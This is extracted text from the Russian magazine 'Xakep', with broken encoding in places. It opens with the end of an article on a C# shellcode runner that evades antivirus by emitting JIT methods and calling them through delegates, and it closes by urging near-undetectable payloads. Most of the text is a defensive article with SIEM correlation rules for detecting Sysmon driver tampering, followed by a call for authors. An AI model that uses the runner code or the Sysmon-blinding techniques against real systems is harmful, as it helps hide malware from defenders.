DefineDynamicAssembly(AssemblyName, AssemblyBuilderAccess.Run);

        ModuleBuilder ModuleBuilder = AssemblyBuilder.
DefineDynamicModule("Module");

        MethodBuilder MethodBuilder = ModuleBuilder.DefineGlobalMethod(
       "MethodName",

         MethodAttributes.Public | MethodAttributes.Static,
        typeof(void), //arbitrary return type hehexd

           new Type[] { }); // no args, but no real reason

        ILGenerator il = MethodBuilder.GetILGenerator();
     // sub rsp,28h                  (0x48, 0x83, 0xec, 0x28) [4]
     // Every Emit.WriteLine results in 18 bytes
     // mov rcx,1D3E2F736A8h             (0xe8, 0x7a, 0x07, 0x45, 
0x5e) [5]
     // rcx,qword ptr [rcx]              (0x48, 0x8b, 0x09) [3]
     // call  mscorlib_ni!System.Console.WriteLine (0x48, 0xb9, 
0xa8, 0x36, 0xf7, 0xe2, 0x2d, 0x30, 0x10, 0x00) [10]
     // Ends with
     // ret (0xc3) [1]

        while (ByteCount > 0)
     {
       il.EmitWriteLine("bruh");

         ByteCount -= 18;
     }
     il.Emit(OpCodes.Ret);      // JIT to 0xc3
     ModuleBuilder.CreateGlobalFunctions();

        RuntimeMethodHandle mh = ModuleBuilder.GetMethods()[0].
MethodHandle;
     RuntimeHelpers.PrepareMethod(mh);

      return mh.GetFunctionPointer();
   }

      static void ExecuteShellcode(IntPtr funcAddr)
   {

        var func = Marshal.GetDelegateForFunctionPointer<FuncType>(
funcAddr);
     func();
   }

   [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
      private delegate void FuncType();
 }
}

Под робный ана лиз такого метода выделе ния памяти мож но  в бло ге
Петара Пра ника.

по читать

ÂÛÂÎÄÛ

У нас получи лось успешно изба вить ся от исполь зования методов WinAPI, что
поз воля ет сде лать шелл-код-ран нер более скрыт ным. Пом ни: если ты хочешь
пре дот вра тить обна руже ние тво ей наг рузки анти виру сом, то нуж но мыс лить
шире и делать не так, как все. Как толь ко ты начина ешь отхо дить от извес тных
спо собов обхо да анти виру са, сра зу же начина ешь получать наг рузки, близ- 
кие к FUD.

https://learn.microsoft.com/ru-ru/dotnet/api/system.threading?view=net-8.0
https://learn.microsoft.com/ru-ru/dotnet/api/system.threading.thread?view=net-8.0
https://learn.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=net-8.0
https://learn.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.marshal.copy?view=net-8.0
https://learn.microsoft.com/ru-ru/dotnet/csharp/language-reference/unsafe-code
https://learn.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.marshal.getfunctionpointerfordelegate?view=net-8.0
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.compilerservices.runtimehelpers.preparemethod?view=net-8.0
https://twitter.com/d_tranman
https://gist.github.com/susMdT/2d13330f6a5bfa482555e22430c0eb82
https://ipslav.github.io/2023-12-12-let-me-manage-your-appdomain/
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АДМИН

Пен тесте рам час то при ходит ся иметь дело
со средс тва ми монито рин га, которые необ- 
ходимо обой ти рань ше, чем безопас ники
под нимут тре вогу. В этой статье я рас ска жу,
что может сде лать коман да обна руже ния
и реаги рова ния, что бы не про мор гать ата ку
и вов ремя заметить, что с монито рин гом
кто-то химичит.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Как извес тно, в нед рах средств монито рин га для Windows лежат два основных
механиз ма, которые поз воля ют им фун кци они ровать: под систе ма 

 и ядер ная под дер жка, реали зован ная в виде драй веров.
Event

Tracing for Windows
В пре дыду щих матери алах мы с тобой под робно раз бирали прин ципы

работы этих механиз мов, а так же вре донос ных тех ник, реали зация которых
поз воляла ата кующим осле пить монито ринг. В этой же статье мы погово рим
о том, как эти тех ники мож но детек тить с помощью встро енных в ОС Windows
механиз мов, и в качес тве бонуса напишем ряд кор реляций.

Читай также

• Ос лепить Sysmon. Выводим монито ринг из строя мак сималь но незамет но
• Ос лепить Sysmon пол ностью. Манипу лиру ем объ екта ми ETW, что бы обой- 

ти монито ринг
• До бива ем монито ринг. Как работа ют прод винутые ата ки на Sysmon

ÄÅÒÅÊÒÈÌ ÀÒÀÊÈ ÍÀ ÄÐÀÉÂÅÐ

Îáíàðóæèâàåì ìàíèïóëÿöèè ñ Security Descriptor
Бу дем счи тать, что , которую уда лось поэкс плу ати ровать
нашим пен тесте рам, — манипу ляция дес крип тором безопас ности объ екта,
плав но перехо дящая в манипу ляцию хен длом. Вкрат це напом ню, как это про- 
исхо дило.

пер вая связ ка тех ник

1. Основная часть событий, которую Sysmon пишет в свой жур нал, пос тупа ет
от драй вера . Для это го сам драй вер соз дает ком муника цион- 
ное устрой ство . Это объ ект ядра, а у объ екта ядра
есть дес крип тор безопас ности (security descriptor, SD), который явно
опре деля ет, кому мож но получить дос туп к это му устрой ству, а кому нет.

SysmonDrv

\\Device\SysmonDrv

2. Ата кующий меня ет этот дес крип тор таким обра зом, что бы про цес су
, работа юще му от име ни учет ной записи ,

было отка зано в пре дос тавле нии дос тупа к устрой ству.
Sysmon64.exe Local System

3. Одна ко на момент манипу ляций с SD у про цес са  уже есть
откры тый хендл устрой ства с пра вами чте ния, который необ ходимо обно- 
вить.

Sysmon64.exe

4. Для это го он дела ет вызов  с парамет ром
 и таким обра зом копиру ет хендл объ екта 

 из про цес са  в собс твен ный вре- 
донос ный про цесс с пос леду ющим зак рыти ем хен дла-источни ка, зас- 
тавляя тем самым  пов торно зап росить хендл ком муника- 
цион ного устрой ства.

DuplicateHandle
DUPLICATE_CLOSE_SOURCE \\

Device\SysmonDrv Sysmon64.exe

Sysmon64.exe

Да вай на это пос мотрим с позиции детек та. Пер вым делом вре донос ный
про цесс вызыва ет  (с парамет ром ), что бы получить

хендл объ екта . Пос ле это го дер гает фун кцию

, которая уста нав лива ет новый спи сок . В этот момент
дол жно быть сге нери рова но два события:  — зап рос хен дла

объ екта и  — попыт ка выпол нения опе рации с объ ектом (при

усло вии, что нас тро ен аудит объ ектов ядра).

CreateFile() WRITE_DAC
\\.\SysmonDrv

SetSecurityInfo() DACL
EventID 4656

EventID 4663

Мож но было бы детек тить такую активность на осно ве перечис ленных
событий. Одна ко у это го под хода есть сущес твен ный недос таток:
события 4656 и 4663 генери руют ся слиш ком час то. Поэто му мы пой дем дру- 
гим путем.

Под систе ма безопас ности Windows может генери ровать события,
которые пря мо сви детель ству ют об изме нении спис ка DACL (но тут тоже есть
нес коль ко под водных кам ней, о которых я рас ска жу даль ше). Давай сна чала
пос мотрим на это событие, а потом погово рим о том, как же его заполу чить.
Итак, меня ем спи сок DACL.

От кры ваем жур нал  и видим сле дующее.Security

Со бытие  говорит нам о том, что вре донос ный про цесс,
запущен ный от име ни адми на, изме нил DACL для объ екта 

. При чем отоб ража ются как ста рые, так и новые раз решения

для объ екта. Отлично, напишем усло вие фор мирова ния алер та на язы ке
:

EventID 4670
\\Device\

SysmonDrv

eXtraction and Processing

event SysmonDrv_DaclModified: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() and 
       event_src.title == "windows" and 
       msgid == "4670" and 
       lower(object.type) == "file" and 
       lower(object.name) == "sysmondrv" 
   } 

rule SysmonDrv_device_dacl_manipulation: SysmonDrv_DaclModified 

Пол ный текст пра вила (с вари ациями детек та на осно ве 

и ) мож но пос мотреть в репози тории .

EventID 4656
EventID 4663 Open XP Rules

Для Elastic SIEM детект име ет сле дующий вид.

Ка залось бы, мы наш ли событие, которое опи сыва ет факт воз дей ствия
на Sysmon, но нет! И сей час я пос тара юсь объ яснить почему.

Во-пер вых, что бы получить это событие, мне приш лось вклю чить аудит
объ ектов ядра и в качес тве бонуса получить нес конча емый поток
событий 4656, 4658 и 4663, в которых мож но прос то уто нуть. Хотя в 

 говорит ся, что для 4670 дос таточ но вклю- 
чить толь ко аудит изме нения полити ки авто риза ции.

офи- 
циаль ной докумен тации Microsoft

Во-вто рых, что бы события все-таки начали фор мировать ся, нуж но нас тро- 
ить SACL для это го объ екта . В исходном сос тоянии он име ет

сле дующий вид.

\\.\SysmonDrv

Эта запись озна чает, что парамет ры ауди та для дан ного объ екта нас леду ются
от его родите ля. Точ нее, что по умол чанию никаких событий ауди та сге нери- 
рова но не будет.

Да вай его нем ного изме ним:

S:(AU;SAFA;FA;;;WD) 

Эта стро ка озна чает, что для всех учет ных записей (  — Everyone) нуж но

фор мировать события ауди та ( ) незави симо от резуль тата опе рации дос- 

тупа (  — SuccessfulAccess,  — FailedAccess). Реали зовать нас трой ку
SACL мож но, нап ример, так:

WD
AU

SA FA

#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#include <stdio.h>

    int main(int argc, char** argv)
{
      LPWSTR stringSacl = L"S:(AU; SAFA; FA;;; WD)";

      LPWSTR lpDeviceName = L"\\\\.\\SysmonDrv";
      PSECURITY_DESCRIPTOR pSecurityDescriptor = NULL;
      PACL pSacl = NULL;
         BOOL bSaclPresent = FALSE, bSaclDefaulted = FALSE;

   /*      check SeSecurityPrivilege               */

   /*      enable SeSecurityPrivilege              */

        
    
HANDLE hDevice = CreateFile(lpDeviceName, ACCESS_SYSTEM_SECURITY,

0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);

      if (hDevice == INVALID_HANDLE_VALUE)
   {

 
       wprintf(L"[-] CreateFile func with ACCESS_SYSTEM_SECURITY 
flag return error: %d\n", GetLastError());

        goto Cleanup;
   }

    
   

if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
stringSacl, SDDL_REVISION_1, &pSecurityDescriptor, NULL))
   {

 

       wprintf(L"[-] 
ConvertStringSecurityDescriptorToSecurityDescriptorW func return 
error: %d\n", GetLastError());

        goto Cleanup;
   }

     
  

if (!GetSecurityDescriptorSacl(pSecurityDescriptor, &bSaclPresent
, &pSacl, &bSaclDefaulted))
   {

 
       wprintf(L"[-] GetSecurityDescriptorSacl func return error: %d
\n", GetLastError());

        goto Cleanup;
   }

    if (!IsValidAcl(pSacl))
   {
       wprintf(L"[-] SACL not valid\n");

        goto Cleanup;
   }

      
      

if (SetSecurityInfo(hDevice, SE_KERNEL_OBJECT,
SACL_SECURITY_INFORMATION, NULL, NULL, NULL, pSacl) != ERROR_SUCCESS)
   {

        wprintf(L"[-] SetSecurityInfo func return error: %d\n",
GetLastError());

        goto Cleanup;
   }

Cleanup:
    if (pSecurityDescriptor)
       LocalFree(pSecurityDescriptor);
    if (pSacl)

         VirtualFree(pSacl, 0, MEM_RELEASE);
    if (hDevice)
       CloseHandle(hDevice);

    return 0;

}

Не забудь в при веден ный выше код добавить воз можность вклю чения при- 
виле гии , в про тив ном слу чае будет

 (о том, как управлять при виле гиями, читай в статье
« »).

SeSecurityPrivilege
ERROR_ACCESS_DENIED
Privileger. Управля ем при виле гиями в Windows

Но сог ласись, как-то все доволь но тяжело для того, что бы прос то замони- 
торить опе рации с девай сом. Давай пос мотрим, может, есть еще какие-то
спо собы обна ружить эту активность? Да, они есть!

В под систе ме ауди та Windows есть событие, которое поможет нам
заподоз рить, что с Sysmon что-то не то, — . С его помощью мож- 
но отсле дить вызовы фун кций, которые тре буют .
Как говорит ся в докумен тации, к чувс тви тель ным при виле гиям отно сят ся:

EventID 4674
чувс тви тель ных при виле гий

SeAssignPrimaryTokenPrivilege;•
SeAuditPrivilege:•
SeBackupPrivilege:•
SeCreateTokenPrivilege;•
SeDebugPrivilege;•
SeImpersonatePrivilege:•
SeLoadDriverPrivilege;•
SeLockMemoryPrivilege;•
SeRestorePrivilege;•
SeSecurityPrivilege;•
SeSystemEnvironmentPrivilege;•
SeTakeOwnershipPrivilege.•

Что это зна чит? Для изме нения дес крип тора безопас ности девай са
 исполь зует ся вызов  с парамет ром

. Изме нение спис ка DACL само по себе

не явля ется при виле гиро ван ной опе раци ей, но тут сто ит учи тывать, что
для его реали зации необ ходимо:

SysmonDrv SetSecurityInfo()
DACL_SECURITY_INFORMATION

ли бо иметь соот ветс тву ющие раз решения в дей ству ющем спис ке DACL;•
ли бо быть хозя ином объ екта.•

Ес ли ском про мети рован ная учет ка (от име ни которой запущен вре донос ный
код) не име ет явно го раз решения на изме нение DACL, то тут ата кующий сна- 
чала сде лает себя хозя ином объ екта и толь ко пос ле это го будет менять
DACL. Про цесс получе ния прав хозя ина объ екта — чувс тви тель ная опе рация,
которая тре бует наличия при виле гий 

и , а сам факт исполь зования при виле гиро ван- 

ной опе рации при водит к фор мирова нию EventID 4674.

SeRestorePrivilege
SeTakeOwnershipPrivilege

Это событие будет сфор мирова но в момент вызова . Оно

нам говорит, что дос туп осу щест вля ется к объ екту , опе- 
рация дос тупа — , а для выпол нения этой опе рации исполь зуют- 

ся при виле гии  и . Совокуп- 

ность этих фак тов говорит об изме нении хозя ина объ екта.

SetSecurityInfo()
\\Device\SysmonDrv

WRITE_OWNER
SeRestorePrivilege SeTakeOwnershipPrivilege

На осно ве этой информа ции мож но получить :де тект

 event SysmonDrv_OwnerModified:
   key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
          event_src.title == "windows" and

          msgid == "4674" and
         lower(object.path) == "\\device\" and

       lower(object.name) == "sysmondrv" and
        lower(object.property) == "privilege list" and

       regex(lower(object.value),"setakeownershipprivilege", 0) != 
null
   }

rule SysmonDrv_device_owner_manipulation: SysmonDrv_OwnerModified

Кор реляция для Elastic SIEM будет выг лядеть сле дующим обра зом.

Ко неч но же, ник то не гаран тиру ет, что вре донос будет выпол нять ука зан ные
дей ствия перед изме нени ем DACL, но веро ятность это го доволь но высока.
Кро ме того, час тота генера ции этих событий (4674) низ кая, поэто му рекомен- 
дую в боевой инфре нас тро ить аудит «Исполь зование прав, зат рагива ющих
кон фиден циаль ные дан ные» и поп росить Windows Event Collector собирать
эти события.

Что каса ется даль нейших дей ствий, то тут про исхо дит вызов
 (с мас кой ) и пос леду ющий

 с парамет ром , что бы зак рыть

опи сатель на .

OpenProcess() PROCESS_DUP_HANDLE
DuplicateHandle() DUPLICATE_CLOSE_SOURCE

\\Device\SysmonDrv
Мо жем при вес ти парамет ры ауди та про цес са Sysmon к такому виду:

S:(AU;SAFA;FA;;;WD) 

Тог да мы получим события 4656 и 4663.

Продолжение статьи →
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ДЕТЕКТ НА СВЯЗИ
УЧИМСЯ ОБНАРУЖИВАТЬ СЛЕДЫ

АТАК НА EDR

АДМИН  НАЧАЛО СТАТЬИ←

Так же может быть сге нери рова но событие , которое дол жно
сооб щить нам о дуб лирова нии хен дла, но оно не пре дос тавля ет информа ции
о парамет рах дуб лирова ния ( ), рав но
как и 4656 и 4663, а так же име ет высокую час тоту генера ции.

EventID 4690

DUPLICATE_CLOSE_SOURCE

Кро ме того, их получе ние — задача не такая уж три виаль ная, потому что
при дет ся пра вить SACL для про цес са. А это сно ва писать код и про изво дить
про чие манипу ляции (если ты зна ешь, как мож но изме нить SACL на про цес сы
штат ными инс тру мен тами, про шу меня поп равить).

В завер шение это го раз дела давай пос мотрим на событие EventID 255,
которое сфор мировал сам Sysmon.

Из-за того что Sysmon боль ше не может получить хендл ком муника цион- 
ного устрой ства, он сооб щит нам об этом.

А мы, в свою оче редь, напишем :де тект

 event SysmonDrv_InvalidHandle:
   key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
          event_src.title == "sysmon" and

          msgid == "255" and
          lower(object.name) == "drivercommunication" and

 
   

       regex(lower(reason), "access.*driver.*(неверный|invalid)|(
дескриптор|handle)", 0) != null
   }

  rule SysmonDrv_device_dacl_manipulation: SysmonDrv_InvalidHandle

Пра вила для Elastic

Äåòåêòèì ïîäìåíó õåíäëà äåâàéñà SysmonDrv
В статье « » я показы вал тех нику, которая
отли чает ся от опи сан ной выше тем, что изме няет ся сос тояние про цес са
(suspend → resume). Это мож но было бы отлавли вать с помощью
события 4663, но труд ности нас трой ки ауди та (дос тупа к рядовым про цес- 
сам) натал кива ют на мысль оста вить это дело. Поэто му мы пос мотрим на еще
одну раз новид ность события . Оно появ ляет ся в резуль тате про- 

веде ния тех ники, которую ты можешь наб людать на скрин шоте ниже.

Прод винутые ата ки на монито ринг

Sysmon 255

В этом слу чае мы видим мно жес тво событий 255. Напишем :де тект

 event SysmonDrv_InvalidParam:
   key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
          event_src.title == "sysmon" and

          msgid == "255" and
          lower(object.name) == "drivercommunication" and

 
   

       regex(lower(reason), "failed.*retrieve.*events(
неверно|invalid)|(параметр|parameter)", 0) != null
   }

    rule SysmonDrv_handle_hijacking: SysmonDrv_InvalidParam+ ->
SysmonDrv_InvalidParam

И пра вило для Elastic SIEM.

Äåòåêòèì ôåéêîâûé DosDevice
В статье « » я под робно рас ска зывал, как ата кующие
могут под менять сим воличес кие ссыл ки на объ екты. Суть этой тех ники зак- 
люча ется в соз дании фей ковой ссыл ки  на ком муника цион ное
устрой ство рань ше, чем запус тится служ ба . Давай крат ко вспом- 

ним алго ритм работы этой тех ники:

До бива ем монито ринг

SysmonDrv
Sysmon64

1. Вре донос ный про цесс с помощью вызова  регис три рует
себя в качес тве служ бы, что бы быть запущен ным во вре мя стар та опе- 
раци онной сис темы.

CreateService()

2. С помощью фун кции  про писы вает себя в спи сок зависи- 
мос тей сер виса .

RegSetValueEx
Sysmon64

3. Это поз воля ет ему запус тить ся до стар та Sysmon и с помощью вызова
 под менить целевое устрой ство, на которое ука зыва ет

сим воличес кая ссыл ка .
DeneDosDevice()

SysmonDrv

Во всей этой цепоч ке самыми подоз ритель ными будут фак ты 

 и . Соз дание служб мож но
монито рить с помощью событий  или . А добав ление зависи мос ти
служ бе Sysmon рав носиль но изме нению зна чения клю ча 

вот в этой вет ке:

ñîç äàíèÿ

ñëóæ áû ïî ÿâëå íèÿ çàâèñè ìîñ òè ó Sysmon

4697 7045
DependOnService

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sysmon64 

Сам по себе Sysmon не име ет никаких зависи мос тей, и, если они появ ляют ся,
зна чит, перед нами какая-то ано малия.

Да вай поп робу ем пос мотреть на это. Пер вым делом нам пот ребу ется нас- 
тро ить спи сок SACL для вет ки реес тра, опи сыва ющей парамет ры работы
Sysmon.

Нас тра иваем спи сок ауди та для всех поль зовате лей при выпол нении опе- 
рации «Задание зна чения клю ча», область дей ствия — «Этот раз дел и его
под разде лы». Спи сок раз гра ниче ния дос тупа луч ше сде лать пус тым, что бы
не воз никло кол лизий с сущес тву ющи ми раз решени ями.

Итак, экс плу ати руем тех нику и смот рим в жур нал. Пер вое событие,
которое мы видим, — , событие соз дания служ бы. Оно будет
сфор мирова но при усло вии, что вклю чен аудит рас ширения сис темы
безопас ности.

EventID 4697

В этом событии есть имя служ бы и путь к исполня емо му фай лу. Одна ко нет
смыс ла завязы вать ся на эти парамет ры, пос коль ку они могут быть любыми.
Ана логич но по информа тив ности событие 7045 (но в жур нале System).

Сра зу же пос ле события соз дания служ бы будет сфор мирован еще один
инте рес ный EventID — , который говорит нам об изме нении зна чения
клю ча реес тра (при усло вии, что вклю чен аудит реес тра и к соот ветс тву ющим
вет кам при менен SACL).

4657

Так же мож но рас счи тывать на событие самого Sysmon — 13, ведь эффект
такой тех ники будет виден толь ко при сле дующем стар те сис темы.

И эти события куда более инте рес ны, чем события уста нов ки служб. Здесь
чет ко вид но, что для парамет ра  вет ки 

 уста нов лено зна чение 
, что рав нознач но

добав лению зависи мос ти для служ бы .

DependOnService \REGISTRY\MACHINE\
SYSTEM\ControlSet001\Services\Sysmon64 E:\
work\myproject\proch\x64\Debug\FakeDosDevice.exe

Sysmon64
Де тект будет выг лядеть сле дующим обра зом:

 event MalwareService_Created:
   key:

        event_src.host, subject.account.session_id
    filter {

        filter::NotFromCorrelator() and
          event_src.title == "windows" and
         in_list(["4697", "7045"], msgid)

   }

 event SysmonDepend_Created:
   key:

        event_src.host, subject.account.session_id
    filter {

         filter::NotFromCorrelator() and ((
              event_src.title == "windows" and

             msgid == "4657"
         ) or (

              event_src.title == "sysmon" and
              msgid == "13" )

        ) and
            in_list(["create", "modify"], lower(action)) == True and
            regex(object.path, "sysmon64", 0) != null and
         lower(object.name) == "dependonservice"

   }

    
  

rule Create_fake_SysmonDrv_symlink: MalwareService_Created* ->
SysmonDepend_Created within 20s

И по тра диции скрин из Kibana.

А вот что про изой дет в жур нале Sysmon пос ле перезаг рузки.

В событи ях мы уви дим два харак терных события — . Допол ним
нашу :

EventID 255
де тек тиру ющую логику

 event MalwareService_Created:
   key:

        event_src.host, subject.account.session_id
    filter {

        filter::NotFromCorrelator() and
          event_src.title == "windows" and
         in_list(["4697", "7045"], msgid)

   }

 event SysmonDepend_Created:
   key:

        event_src.host, subject.account.session_id
    filter {

         filter::NotFromCorrelator() and ((
              event_src.title == "windows" and

             msgid == "4657"
         ) or (

              event_src.title == "sysmon" and
              msgid == "13" )

        ) and
            in_list(["create", "modify"], lower(action)) == True and
            regex(object.path, "sysmon64", 0) != null and
         lower(object.name) == "dependonservice"

   }

 event SysmonDrv_WriteError:
   key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
          event_src.title == "sysmon" and

          msgid == "255" and
          lower(object.name) == "getconfigurationoptions" and

 
   

       regex(lower(reason), "failed.*configuration.*error.94.*(
запис|write)", 0) != null
   }

    
      

rule Create_fake_SysmonDrv_symlink: (MalwareService_Created* ->
SysmonDepend_Created within 20s) or (SysmonDrv_WriteError+ ->
SysmonDrv_WriteError)

Пра вило Elastic SIEM.

ÂÛÂÎÄÛ

В этом матери але мы рас смот рели раз ные спо собы детек та воз дей ствий
на ядер ную под систе му Sysmon, а точ нее, на вза имо дей ствие служ бы Sysmon
с ее драй вером. В сле дующем матери але мы раз берем тех ники обна руже ния
манипу ляций с под систе мой ETW. До новых встреч!

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4690
https://github.com/Security-Experts-Community/open-xp-rules/blob/master/packages/windows_open_package/correlation_rules/mitre_attck_defense_evasion/SysmonDrv_device_dacl_manipulation/rule.co
https://xakep.ru/2024/05/15/advanced-sysmon-attacks/
https://github.com/Security-Experts-Community/open-xp-rules/blob/master/packages/windows_open_package/correlation_rules/mitre_attck_defense_evasion/SysmonDrv_handle_hijacking/rule.co
https://xakep.ru/2024/05/15/advanced-sysmon-attacks/
https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea
https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa
https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-definedosdevicea
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4697
https://www.manageengine.com/products/active-directory-audit/kb/system-events/event-id-7045.html
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4697
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4657
https://github.com/Security-Experts-Community/open-xp-rules/blob/master/packages/windows_open_package/correlation_rules/mitre_attck_defense_evasion/Create_fake_SysmonDrv_symlink/rule.co


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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